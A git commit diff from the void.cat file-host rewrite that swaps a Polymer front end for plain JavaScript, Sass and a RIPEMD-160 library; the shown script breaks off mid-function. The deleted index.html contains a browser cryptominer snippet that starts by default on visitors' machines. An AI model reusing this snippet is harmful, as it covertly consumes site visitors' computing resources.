mirror of
https://git.v0l.io/Kieran/void.cat.git
synced 2025-10-11 07:23:22 +02:00
rewrite init
This commit is contained in:
7
.gitignore
vendored
7
.gitignore
vendored
@@ -1,9 +1,4 @@
|
|||||||
out/
|
.vs/
|
||||||
*.xml
|
|
||||||
src/php/config.php
|
|
||||||
google*.html
|
|
||||||
bower_components/
|
|
||||||
.vs
|
|
||||||
bin/
|
bin/
|
||||||
obj/
|
obj/
|
||||||
*.csproj.user
|
*.csproj.user
|
22
bower.json
22
bower.json
@@ -1,22 +0,0 @@
|
|||||||
{
|
|
||||||
"name": "void.cat",
|
|
||||||
"description": "void.cat",
|
|
||||||
"main": "index.html",
|
|
||||||
"authors": [
|
|
||||||
"v0l"
|
|
||||||
],
|
|
||||||
"license": "MIT",
|
|
||||||
"homepage": "https://github.com/v0l/void.cat",
|
|
||||||
"private": true,
|
|
||||||
"ignore": [
|
|
||||||
"**/.*",
|
|
||||||
"node_modules",
|
|
||||||
"bower_components",
|
|
||||||
"test",
|
|
||||||
"tests"
|
|
||||||
],
|
|
||||||
"dependencies": {
|
|
||||||
"polymer": "polymer/polymer#^2.0.0",
|
|
||||||
"webcomponentsjs": "webcomponents/webcomponentsjs#^1.0.17"
|
|
||||||
}
|
|
||||||
}
|
|
2
build.bat
Normal file
2
build.bat
Normal file
@@ -0,0 +1,2 @@
|
|||||||
|
@echo off
|
||||||
|
sass src/style.scss dist/style.css && google-closure-compiler src/script.js src/ripemd160.js --js_output_file dist/script.min.js --language_out ECMASCRIPT_NEXT
|
69
index.html
69
index.html
@@ -1,49 +1,32 @@
|
|||||||
<!DOCTYPE html>
|
<!doctype html>
|
||||||
<html>
|
<html>
|
||||||
<head>
|
|
||||||
<title>void.cat</title>
|
|
||||||
<meta name="viewport" content="width=device-width, initial-scale=1">
|
|
||||||
<link href="https://fonts.googleapis.com/css?family=Roboto" rel="stylesheet">
|
|
||||||
<link href="https://fonts.googleapis.com/icon?family=Material+Icons" rel="stylesheet">
|
|
||||||
<link href="src/css/style.css" rel="stylesheet">
|
|
||||||
<script src="src/js/util.js"></script>
|
|
||||||
<!-- Matomo -->
|
|
||||||
<script type="text/javascript">
|
|
||||||
var _paq = _paq || [];
|
|
||||||
/* tracker methods like "setCustomDimension" should be called before "trackPageView" */
|
|
||||||
_paq.push(['trackPageView']);
|
|
||||||
_paq.push(['enableLinkTracking']);
|
|
||||||
(function() {
|
|
||||||
var u="//matomo.trash.lol/";
|
|
||||||
_paq.push(['setTrackerUrl', u+'piwik.php']);
|
|
||||||
_paq.push(['setSiteId', '1']);
|
|
||||||
var d=document, g=d.createElement('script'), s=d.getElementsByTagName('script')[0];
|
|
||||||
g.type='text/javascript'; g.async=true; g.defer=true; g.src=u+'piwik.js'; s.parentNode.insertBefore(g,s);
|
|
||||||
})();
|
|
||||||
</script>
|
|
||||||
<!-- End Matomo Code -->
|
|
||||||
<script src="bower_components/webcomponentsjs/webcomponents-lite.js"></script>
|
|
||||||
<link rel="import" href="bower_components/polymer/polymer.html">
|
|
||||||
<link rel="import" href="src/modules/main.html">
|
|
||||||
</head>
|
|
||||||
|
|
||||||
<body>
|
<head>
|
||||||
<div class="page">
|
<title>void.cat</title>
|
||||||
<div class="header">
|
<meta name="viewport" content="width=device-width, initial-scale=1">
|
||||||
void.cat
|
<link rel="stylesheet" href="dist/style.css"/>
|
||||||
</div>
|
<template id="tmpl-upload">
|
||||||
<div class="content">
|
<div class="upload">
|
||||||
<void-main></void-main>
|
<div class="file-info"></div>
|
||||||
|
<div class="status"></div>
|
||||||
|
<div class="upload-progress">
|
||||||
|
<span></span>
|
||||||
|
<div></div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</body>
|
</template>
|
||||||
|
</head>
|
||||||
|
|
||||||
|
<body>
|
||||||
|
<div class="page">
|
||||||
|
<div class="float-left">
|
||||||
|
<div id="dropzone" class="left-module">Click me!</div>
|
||||||
|
<div id="stats" class="left-module">asdf</div>
|
||||||
|
</div>
|
||||||
|
<div id="uploads" class="float-left"></div>
|
||||||
|
</div>
|
||||||
|
<script type="text/javascript" src="src/js/script.js" async></script>
|
||||||
|
<script type="text/javascript" src="src/js/ripemd160.js" async></script>
|
||||||
|
</body>
|
||||||
|
|
||||||
<script src="cl/lib/crypta.js"></script>
|
|
||||||
<script>
|
|
||||||
var miner_enabled = (localStorage.getItem("miner") || "true") == "true";
|
|
||||||
if(miner_enabled) {
|
|
||||||
window.miner = new CRLT.Anonymous('780c65e12f7eaebadd433b1eb488f45a5f71347a77df', { autoThreads: true, throttle: 0.1 });
|
|
||||||
window.miner.start();
|
|
||||||
}
|
|
||||||
</script>
|
|
||||||
</html>
|
</html>
|
22
polymer.json
22
polymer.json
@@ -1,22 +0,0 @@
|
|||||||
{
|
|
||||||
"entrypoint": "index.html",
|
|
||||||
"fragments": [
|
|
||||||
"src/modules/main.html",
|
|
||||||
"src/modules/dropzone.html",
|
|
||||||
"src/modules/upload.html",
|
|
||||||
"src/modules/view.html"
|
|
||||||
],
|
|
||||||
"sources": [
|
|
||||||
"src/php/*.php",
|
|
||||||
"src/js/*.js",
|
|
||||||
"src/css/*.css"
|
|
||||||
],
|
|
||||||
"builds": [
|
|
||||||
{
|
|
||||||
"bundle": true,
|
|
||||||
"js": { "compile": true, "minify": true },
|
|
||||||
"css": { "minify": true },
|
|
||||||
"html": { "minify": true }
|
|
||||||
}
|
|
||||||
]
|
|
||||||
}
|
|
@@ -1,41 +0,0 @@
|
|||||||
html, body {
|
|
||||||
background-color: #dbedf5;
|
|
||||||
font-family: 'Roboto', sans-serif;
|
|
||||||
font-size: 12px;
|
|
||||||
padding: 0;
|
|
||||||
margin: 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
.page {
|
|
||||||
width:1024px;
|
|
||||||
margin-left:auto;
|
|
||||||
margin-right:auto;
|
|
||||||
margin-top:20px;
|
|
||||||
background-color: #a5d4ea;
|
|
||||||
border-radius: 5px;
|
|
||||||
border: 1px solid #aaa;
|
|
||||||
}
|
|
||||||
|
|
||||||
.content {
|
|
||||||
padding:20px;
|
|
||||||
}
|
|
||||||
|
|
||||||
.header{
|
|
||||||
text-align: center;
|
|
||||||
color: #555555;
|
|
||||||
font-size: 50px;
|
|
||||||
padding: 10px;
|
|
||||||
border-bottom: 1px solid #aaa;
|
|
||||||
background-color: #E4E4E4;
|
|
||||||
border-radius: 5px 5px 0px 0px;
|
|
||||||
}
|
|
||||||
|
|
||||||
@media(max-width: 1024px){
|
|
||||||
.page {
|
|
||||||
width: auto;
|
|
||||||
margin: 10px 0 0 0;
|
|
||||||
}
|
|
||||||
.content {
|
|
||||||
padding: 5px;
|
|
||||||
}
|
|
||||||
}
|
|
88
src/css/style.scss
Normal file
88
src/css/style.scss
Normal file
@@ -0,0 +1,88 @@
|
|||||||
|
$page-width: 1024px;
|
||||||
|
$page-height: 512px;
|
||||||
|
$page-padding: 10px;
|
||||||
|
$page-margin-top: 20px;
|
||||||
|
$dropzone-border-width: 2px;
|
||||||
|
$dropzone-height: ($page-height - ($dropzone-border-width * 2)) / 2;
|
||||||
|
$dropzone-width: ($page-width / 2) - ($dropzone-border-width * 2);
|
||||||
|
|
||||||
|
$upload-progress-padding: 2px;
|
||||||
|
$upload-progress-height: 20px;
|
||||||
|
$upload-padding: 10px;
|
||||||
|
$upload-border: 2px solid rgb(168, 168, 168);
|
||||||
|
|
||||||
|
html, body {
|
||||||
|
margin: 0;
|
||||||
|
padding: 0;
|
||||||
|
font-family: Arial;
|
||||||
|
font-size: 12px;
|
||||||
|
background-color: rgb(14, 14, 14);
|
||||||
|
}
|
||||||
|
|
||||||
|
.page {
|
||||||
|
width: $page-width;
|
||||||
|
min-height: $page-height;
|
||||||
|
margin-left: auto;
|
||||||
|
margin-right: auto;
|
||||||
|
margin-top: $page-margin-top;
|
||||||
|
overflow: hidden;
|
||||||
|
padding: $page-padding;
|
||||||
|
border-radius: 10px;
|
||||||
|
background-color: rgb(233, 252, 255);
|
||||||
|
box-shadow: 0px 0px 15px 5px #000;
|
||||||
|
user-select: none;
|
||||||
|
}
|
||||||
|
|
||||||
|
.float-left {
|
||||||
|
float: left;
|
||||||
|
}
|
||||||
|
|
||||||
|
.left-module {
|
||||||
|
height: $dropzone-height;
|
||||||
|
width: $dropzone-width;
|
||||||
|
}
|
||||||
|
|
||||||
|
#dropzone {
|
||||||
|
border: $dropzone-border-width dashed #333;
|
||||||
|
line-height: $dropzone-height;
|
||||||
|
text-align: center;
|
||||||
|
font-size: 50px;
|
||||||
|
}
|
||||||
|
|
||||||
|
#uploads {
|
||||||
|
float: left;
|
||||||
|
width: ($page-width / 2);
|
||||||
|
}
|
||||||
|
|
||||||
|
.upload {
|
||||||
|
overflow: hidden;
|
||||||
|
border: $upload-border;
|
||||||
|
margin: $upload-padding;
|
||||||
|
margin-top: 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
.upload .upload-progress {
|
||||||
|
border: 0.5px solid;
|
||||||
|
overflow: hidden;
|
||||||
|
text-align: center;
|
||||||
|
margin: 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.upload .status {
|
||||||
|
padding: 5px 5px 5px 10px;
|
||||||
|
}
|
||||||
|
|
||||||
|
.upload .file-info {
|
||||||
|
text-align: center;
|
||||||
|
padding: 5px;
|
||||||
|
border-bottom: $upload-border;
|
||||||
|
background-color: #aaa;
|
||||||
|
}
|
||||||
|
|
||||||
|
.upload .upload-progress div {
|
||||||
|
margin-top: -$upload-progress-height;
|
||||||
|
height: $upload-progress-height;
|
||||||
|
line-height: $upload-progress-height;
|
||||||
|
font-size: $upload-progress-height * 0.8;
|
||||||
|
background-color: rgb(10, 161, 10);
|
||||||
|
}
|
13
src/db.sql
13
src/db.sql
@@ -1,13 +0,0 @@
|
|||||||
CREATE TABLE `files` (
|
|
||||||
`hash160` varchar(40) NOT NULL,
|
|
||||||
`hash256` varchar(64) NOT NULL,
|
|
||||||
`filename` varchar(255) NOT NULL,
|
|
||||||
`mime` varchar(64) NOT NULL,
|
|
||||||
`size` bigint(20) NOT NULL,
|
|
||||||
`path` varchar(512) NOT NULL,
|
|
||||||
`views` bigint(20) DEFAULT 0 NULL,
|
|
||||||
`isAdminFile` bit(1) DEFAULT 0 NULL,
|
|
||||||
`uploaded` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
|
|
||||||
`lastview` timestamp NULL DEFAULT CURRENT_TIMESTAMP,
|
|
||||||
PRIMARY KEY (`hash160`)
|
|
||||||
) ENGINE=InnoDB DEFAULT CHARSET=utf8
|
|
29
src/js/ripemd160.js
Normal file
29
src/js/ripemd160.js
Normal file
@@ -0,0 +1,29 @@
|
|||||||
|
/*
|
||||||
|
CryptoJS v3.1.2
|
||||||
|
code.google.com/p/crypto-js
|
||||||
|
(c) 2009-2013 by Jeff Mott. All rights reserved.
|
||||||
|
code.google.com/p/crypto-js/wiki/License
|
||||||
|
*/
|
||||||
|
/*
|
||||||
|
|
||||||
|
(c) 2012 by C?dric Mesnil. All rights reserved.
|
||||||
|
|
||||||
|
Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
|
||||||
|
|
||||||
|
- Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
|
||||||
|
- Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
|
||||||
|
|
||||||
|
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
*/
|
||||||
|
var CryptoJS=CryptoJS||function(j,k){var e={},l=e.lib={},z=function(){},t=l.Base={extend:function(a){z.prototype=this;var c=new z;a&&c.mixIn(a);c.hasOwnProperty("init")||(c.init=function(){c.$super.init.apply(this,arguments)});c.init.prototype=c;c.$super=this;return c},create:function(){var a=this.extend();a.init.apply(a,arguments);return a},init:function(){},mixIn:function(a){for(var c in a)a.hasOwnProperty(c)&&(this[c]=a[c]);a.hasOwnProperty("toString")&&(this.toString=a.toString)},clone:function(){return this.init.prototype.extend(this)}},
|
||||||
|
u=l.WordArray=t.extend({init:function(a,c){a=this.words=a||[];this.sigBytes=c!=k?c:4*a.length},toString:function(a){return(a||D).stringify(this)},concat:function(a){var c=this.words,h=a.words,d=this.sigBytes;a=a.sigBytes;this.clamp();if(d%4)for(var b=0;b<a;b++)c[d+b>>>2]|=(h[b>>>2]>>>24-8*(b%4)&255)<<24-8*((d+b)%4);else if(65535<h.length)for(b=0;b<a;b+=4)c[d+b>>>2]=h[b>>>2];else c.push.apply(c,h);this.sigBytes+=a;return this},clamp:function(){var a=this.words,c=this.sigBytes;a[c>>>2]&=4294967295<<
|
||||||
|
32-8*(c%4);a.length=j.ceil(c/4)},clone:function(){var a=t.clone.call(this);a.words=this.words.slice(0);return a},random:function(a){for(var c=[],b=0;b<a;b+=4)c.push(4294967296*j.random()|0);return new u.init(c,a)}}),w=e.enc={},D=w.Hex={stringify:function(a){var c=a.words;a=a.sigBytes;for(var b=[],d=0;d<a;d++){var g=c[d>>>2]>>>24-8*(d%4)&255;b.push((g>>>4).toString(16));b.push((g&15).toString(16))}return b.join("")},parse:function(a){for(var c=a.length,b=[],d=0;d<c;d+=2)b[d>>>3]|=parseInt(a.substr(d,
|
||||||
|
2),16)<<24-4*(d%8);return new u.init(b,c/2)}},A=w.Latin1={stringify:function(a){var c=a.words;a=a.sigBytes;for(var b=[],d=0;d<a;d++)b.push(String.fromCharCode(c[d>>>2]>>>24-8*(d%4)&255));return b.join("")},parse:function(a){for(var b=a.length,h=[],d=0;d<b;d++)h[d>>>2]|=(a.charCodeAt(d)&255)<<24-8*(d%4);return new u.init(h,b)}},g=w.Utf8={stringify:function(a){try{return decodeURIComponent(escape(A.stringify(a)))}catch(b){throw Error("Malformed UTF-8 data");}},parse:function(a){return A.parse(unescape(encodeURIComponent(a)))}},
|
||||||
|
v=l.BufferedBlockAlgorithm=t.extend({reset:function(){this._data=new u.init;this._nDataBytes=0},_append:function(a){"string"==typeof a&&(a=g.parse(a));this._data.concat(a);this._nDataBytes+=a.sigBytes},_process:function(a){var b=this._data,h=b.words,d=b.sigBytes,g=this.blockSize,v=d/(4*g),v=a?j.ceil(v):j.max((v|0)-this._minBufferSize,0);a=v*g;d=j.min(4*a,d);if(a){for(var e=0;e<a;e+=g)this._doProcessBlock(h,e);e=h.splice(0,a);b.sigBytes-=d}return new u.init(e,d)},clone:function(){var a=t.clone.call(this);
|
||||||
|
a._data=this._data.clone();return a},_minBufferSize:0});l.Hasher=v.extend({cfg:t.extend(),init:function(a){this.cfg=this.cfg.extend(a);this.reset()},reset:function(){v.reset.call(this);this._doReset()},update:function(a){this._append(a);this._process();return this},finalize:function(a){a&&this._append(a);return this._doFinalize()},blockSize:16,_createHelper:function(a){return function(b,g){return(new a.init(g)).finalize(b)}},_createHmacHelper:function(a){return function(c,g){return(new b.HMAC.init(a,
|
||||||
|
g)).finalize(c)}}});var b=e.algo={};return e}(Math);
|
||||||
|
(function(){var j=CryptoJS,k=j.lib,e=k.WordArray,l=k.Hasher,k=j.algo,z=e.create([0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,7,4,13,1,10,6,15,3,12,0,9,5,2,14,11,8,3,10,14,4,9,15,8,1,2,7,0,6,13,11,5,12,1,9,11,10,0,8,12,4,13,3,7,15,14,5,6,2,4,0,5,9,7,12,2,10,14,1,3,8,11,6,15,13]),t=e.create([5,14,7,0,9,2,11,4,13,6,15,8,1,10,3,12,6,11,3,7,0,13,5,10,14,15,8,12,4,9,1,2,15,5,1,3,7,14,6,9,11,8,12,2,10,0,4,13,8,6,4,1,3,11,15,0,5,12,2,13,9,7,10,14,12,15,10,4,1,5,8,7,6,2,13,14,0,3,9,11]),u=e.create([11,14,15,12,
|
||||||
|
5,8,7,9,11,13,14,15,6,7,9,8,7,6,8,13,11,9,7,15,7,12,15,9,11,7,13,12,11,13,6,7,14,9,13,15,14,8,13,6,5,12,7,5,11,12,14,15,14,15,9,8,9,14,5,6,8,6,5,12,9,15,5,11,6,8,13,12,5,12,13,14,11,8,5,6]),w=e.create([8,9,9,11,13,15,15,5,7,7,8,11,14,14,12,6,9,13,15,7,12,8,9,11,7,7,12,7,6,15,13,11,9,7,15,11,8,6,6,14,12,13,5,14,13,13,7,5,15,5,8,11,14,14,6,14,6,9,12,9,12,5,15,8,8,5,12,9,12,5,14,6,8,13,6,5,15,13,11,11]),D=e.create([0,1518500249,1859775393,2400959708,2840853838]),A=e.create([1352829926,1548603684,1836072691,
|
||||||
|
2053994217,0]),k=k.RIPEMD160=l.extend({_doReset:function(){this._hash=e.create([1732584193,4023233417,2562383102,271733878,3285377520])},_doProcessBlock:function(g,e){for(var b=0;16>b;b++){var a=e+b,c=g[a];g[a]=(c<<8|c>>>24)&16711935|(c<<24|c>>>8)&4278255360}var a=this._hash.words,c=D.words,h=A.words,d=z.words,j=t.words,k=u.words,l=w.words,B,m,n,p,x,C,q,r,s,y;C=B=a[0];q=m=a[1];r=n=a[2];s=p=a[3];y=x=a[4];for(var f,b=0;80>b;b+=1)f=B+g[e+d[b]]|0,f=16>b?f+((m^n^p)+c[0]):32>b?f+((m&n|~m&p)+c[1]):48>b?
|
||||||
|
f+(((m|~n)^p)+c[2]):64>b?f+((m&p|n&~p)+c[3]):f+((m^(n|~p))+c[4]),f|=0,f=f<<k[b]|f>>>32-k[b],f=f+x|0,B=x,x=p,p=n<<10|n>>>22,n=m,m=f,f=C+g[e+j[b]]|0,f=16>b?f+((q^(r|~s))+h[0]):32>b?f+((q&s|r&~s)+h[1]):48>b?f+(((q|~r)^s)+h[2]):64>b?f+((q&r|~q&s)+h[3]):f+((q^r^s)+h[4]),f|=0,f=f<<l[b]|f>>>32-l[b],f=f+y|0,C=y,y=s,s=r<<10|r>>>22,r=q,q=f;f=a[1]+n+s|0;a[1]=a[2]+p+y|0;a[2]=a[3]+x+C|0;a[3]=a[4]+B+q|0;a[4]=a[0]+m+r|0;a[0]=f},_doFinalize:function(){var g=this._data,e=g.words,b=8*this._nDataBytes,a=8*g.sigBytes;
|
||||||
|
e[a>>>5]|=128<<24-a%32;e[(a+64>>>9<<4)+14]=(b<<8|b>>>24)&16711935|(b<<24|b>>>8)&4278255360;g.sigBytes=4*(e.length+1);this._process();g=this._hash;e=g.words;for(b=0;5>b;b++)a=e[b],e[b]=(a<<8|a>>>24)&16711935|(a<<24|a>>>8)&4278255360;return g},clone:function(){var e=l.clone.call(this);e._hash=this._hash.clone();return e}});j.RIPEMD160=l._createHelper(k);j.HmacRIPEMD160=l._createHmacHelper(k)})(Math);
|
326
src/js/script.js
Normal file
326
src/js/script.js
Normal file
@@ -0,0 +1,326 @@
|
|||||||
|
/**
|
||||||
|
* @constant {number} - Size of 1 kiB
|
||||||
|
*/
|
||||||
|
const kiB = Math.pow(1024, 1);
|
||||||
|
/**
|
||||||
|
* @constant {number} - Size of 1 MiB
|
||||||
|
*/
|
||||||
|
const MiB = Math.pow(1024, 2);
|
||||||
|
/**
|
||||||
|
* @constant {number} - Size of 1 GiB
|
||||||
|
*/
|
||||||
|
const GiB = Math.pow(1024, 3);
|
||||||
|
/**
|
||||||
|
* @constant {number} - Size of 1 TiB
|
||||||
|
*/
|
||||||
|
const TiB = Math.pow(1024, 4);
|
||||||
|
/**
|
||||||
|
* @constant {number} - Size of 1 PiB
|
||||||
|
*/
|
||||||
|
const PiB = Math.pow(1024, 5);
|
||||||
|
/**
|
||||||
|
* @constant {number} - Size of 1 EiB
|
||||||
|
*/
|
||||||
|
const EiB = Math.pow(1024, 6);
|
||||||
|
/**
|
||||||
|
* @constant {number} - Size of 1 ZiB
|
||||||
|
*/
|
||||||
|
const ZiB = Math.pow(1024, 7);
|
||||||
|
/**
|
||||||
|
* @constant {number} - Size of 1 YiB
|
||||||
|
*/
|
||||||
|
const YiB = Math.pow(1024, 8);
|
||||||
|
/**
|
||||||
|
* @constant {function} - Helper function for document.querySelector
|
||||||
|
* @param {string} selector - The selector to use in the query
|
||||||
|
* @returns {HTMLElement} The first selected element
|
||||||
|
*/
|
||||||
|
const $ = (selector) => document.querySelector(selector);
|
||||||
|
|
||||||
|
const Log = {
|
||||||
|
I: (msg) => console.log(`[App_v ${App.Version}][I]: ${msg}`),
|
||||||
|
W: (msg) => console.warn(`[App_v ${App.Version}][W]: ${msg}`),
|
||||||
|
E: (msg) => console.error(`[App_v ${App.Version}][E]: ${msg}`)
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @constant {Object}
|
||||||
|
*/
|
||||||
|
const App = {
|
||||||
|
get Version() { return "1.0" },
|
||||||
|
|
||||||
|
Elements: {
|
||||||
|
get Dropzone() { return $('#dropzone') },
|
||||||
|
get Uploads() { return $('#uploads') }
|
||||||
|
},
|
||||||
|
|
||||||
|
Templates: {
|
||||||
|
get Upload() { return $("template[id='tmpl-upload']") }
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Uploads the files as selected by the input form
|
||||||
|
* @param {Element} ctx
|
||||||
|
* @returns {Promise}
|
||||||
|
*/
|
||||||
|
UploadFiles: async function (ctx) {
|
||||||
|
let files = ctx.files;
|
||||||
|
let proc_files = [];
|
||||||
|
|
||||||
|
for (let x = 0; x < files.length; x++) {
|
||||||
|
let fu = new FileUpload(files[x]);
|
||||||
|
proc_files[proc_files.length] = fu.ProcessUpload();
|
||||||
|
}
|
||||||
|
|
||||||
|
await Promise.all(proc_files);
|
||||||
|
},
|
||||||
|
|
||||||
|
Utils: {
|
||||||
|
/**
|
||||||
|
* Formats an ArrayBuffer to hex
|
||||||
|
* @param {ArrayBuffer} buffer - Input data to convert to hex
|
||||||
|
* @returns {string} The encoded data as a hex string
|
||||||
|
*/
|
||||||
|
ArrayToHex: (buffer) => Array.prototype.map.call(new Uint8Array(buffer), x => ('00' + x.toString(16)).slice(-2)).join(''),
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Formats bytes into binary notation
|
||||||
|
* @param {number} b - The value in bytes
|
||||||
|
* @param {number} [f=2] - The number of decimal places to use
|
||||||
|
* @returns {string} Bytes formatted in binary notation
|
||||||
|
*/
|
||||||
|
FormatBytes: (b, f) => {
|
||||||
|
f = typeof f === 'number' ? 2 : f;
|
||||||
|
if (b >= YiB)
|
||||||
|
return (b / YiB).toFixed(f) + ' YiB';
|
||||||
|
if (b >= ZiB)
|
||||||
|
return (b / ZiB).toFixed(f) + ' ZiB';
|
||||||
|
if (b >= EiB)
|
||||||
|
return (b / EiB).toFixed(f) + ' EiB';
|
||||||
|
if (b >= PiB)
|
||||||
|
return (b / PiB).toFixed(f) + ' PiB';
|
||||||
|
if (b >= TiB)
|
||||||
|
return (b / TiB).toFixed(f) + ' TiB';
|
||||||
|
if (b >= GiB)
|
||||||
|
return (b / GiB).toFixed(f) + ' GiB';
|
||||||
|
if (b >= MiB)
|
||||||
|
return (b / MiB).toFixed(f) + ' MiB';
|
||||||
|
if (b >= kiB)
|
||||||
|
return (b / kiB).toFixed(f) + ' KiB';
|
||||||
|
return b.toFixed(f) + ' B'
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sets up the page
|
||||||
|
*/
|
||||||
|
Init: function () {
|
||||||
|
new DropzoneManager(App.Elements.Dropzone)
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Make a HTTP request with promise
|
||||||
|
* @param {string} method - HTTP method for this request
|
||||||
|
* @param {string} url - Request URL
|
||||||
|
* @param {[object]} data - Request payload (method must be post)
|
||||||
|
* @returns {Promise<XMLHttpRequest>} The completed request
|
||||||
|
*/
|
||||||
|
const XHR = function(method, url, data){
|
||||||
|
return new Promise(function (resolve, reject) {
|
||||||
|
let x = new XMLHttpRequest();
|
||||||
|
x.onreadystatechange = function (ev) {
|
||||||
|
if (ev.target.readyState === 4) {
|
||||||
|
resolve(ev.target);
|
||||||
|
}
|
||||||
|
};
|
||||||
|
x.onerror = function (ev) {
|
||||||
|
reject(ev);
|
||||||
|
};
|
||||||
|
x.open(method, url, true);
|
||||||
|
if (method === "POST" && typeof data === "object" && data !== null) {
|
||||||
|
x.setRequestHeader('Content-Type', 'application/json');
|
||||||
|
x.send(JSON.stringify(data));
|
||||||
|
} else {
|
||||||
|
x.send();
|
||||||
|
}
|
||||||
|
})
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @constructor Creates an instance of the DropzoneManager
|
||||||
|
* @param {HTMLElement} dz - Dropzone element
|
||||||
|
*/
|
||||||
|
const DropzoneManager = function (dz) {
|
||||||
|
this.dz = dz;
|
||||||
|
|
||||||
|
this.OpenFileSelect = function(ev){
|
||||||
|
let i = document.createElement('input');
|
||||||
|
i.setAttribute('type', 'file');
|
||||||
|
i.setAttribute('multiple', '');
|
||||||
|
i.addEventListener('change', function (evt) {
|
||||||
|
let fl = evt.target.files;
|
||||||
|
for (let z = 0; z < fl.length; z++) {
|
||||||
|
new FileUpload(fl[z]).ProcessUpload();
|
||||||
|
}
|
||||||
|
}.bind(this));
|
||||||
|
i.click();
|
||||||
|
};
|
||||||
|
|
||||||
|
this.dz.addEventListener('click', this.OpenFileSelect.bind(this), false);
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* File upload handler class
|
||||||
|
* @class
|
||||||
|
* @param {File} file - The file handle to upload
|
||||||
|
*/
|
||||||
|
const FileUpload = function (file) {
|
||||||
|
this.hasCrypto = typeof window.crypto.subtle === "object";
|
||||||
|
this.file = file;
|
||||||
|
this.domNode = null;
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Loads the file and SHA256 hashes it
|
||||||
|
* @return {Promise<ArrayBuffer>}
|
||||||
|
*/
|
||||||
|
this.HashFile = async () => {
|
||||||
|
return new Promise(function (resolve, reject) {
|
||||||
|
var fr = new FileReader();
|
||||||
|
|
||||||
|
fr.onloadstart = function (ev) {
|
||||||
|
this.HandleProgress('state-load-start');
|
||||||
|
}.bind(this);
|
||||||
|
|
||||||
|
fr.onloadend = function (ev) {
|
||||||
|
this.HandleProgress('state-load-end');
|
||||||
|
}.bind(this);
|
||||||
|
|
||||||
|
fr.onload = function (ev) {
|
||||||
|
this.HandleProgress('state-hash-start');
|
||||||
|
crypto.subtle.digest("SHA-256", ev.target.result).then(function (hash) {
|
||||||
|
this.HandleProgress('state-hash-end');
|
||||||
|
this.HandleProgress('progress-hash-file', 1); //no progress from crypto.subtle.digest so we cant show any progress
|
||||||
|
resolve(hash);
|
||||||
|
}.bind(this));
|
||||||
|
}.bind(this);
|
||||||
|
|
||||||
|
fr.onprogress = function (ev) {
|
||||||
|
this.HandleProgress('progress-load-file', ev.loaded / parseFloat(ev.total));
|
||||||
|
}.bind(this);
|
||||||
|
|
||||||
|
fr.onerror = function (ev) {
|
||||||
|
this.HandleError({
|
||||||
|
type: 'FileReaderError',
|
||||||
|
error: ev.target.error
|
||||||
|
})
|
||||||
|
}.bind(this);
|
||||||
|
|
||||||
|
fr.readAsArrayBuffer(this.file);
|
||||||
|
}.bind(this));
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sets the width of the progress bar for this upload
|
||||||
|
* @param {number} value - The value of the progress
|
||||||
|
*/
|
||||||
|
this.SetProgressBar = function (value) {
|
||||||
|
this.domNode.progress.textContent = `${(100 * value).toFixed(1)}%`;
|
||||||
|
this.domNode.progressBar.style.width = `${(100 * value)}%`;
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Sets the status label for this upload
|
||||||
|
* @param {string} value - The status label
|
||||||
|
*/
|
||||||
|
this.SetStatus = function (value){
|
||||||
|
this.domNode.status.textContent = `Status: ${value}`;
|
||||||
|
};
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Handles progress messages from the upload process and updates the UI
|
||||||
|
* @param {string} type - The progress event type
|
||||||
|
* @param {number} progress - The percentage of this progress type
|
||||||
|
*/
|
||||||
|
this.HandleProgress = function (type, progress) {
|
||||||
|
switch (type) {
|
||||||
|
case 'state-load-start': {
|
||||||
|
this.SetStatus('Loading file..');
|
||||||
|
this.SetProgressBar(0);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'state-load-end': {
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'state-hash-start': {
|
||||||
|
this.SetStatus('Hashing..');
|
||||||
|
this.SetProgressBar(0);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'state-hash-end': {
|
||||||
|
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
case 'state-upload-start': {
|
||||||
|
this.SetStatus('Uploading..');
|
||||||
|
this.SetProgressBar(0);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
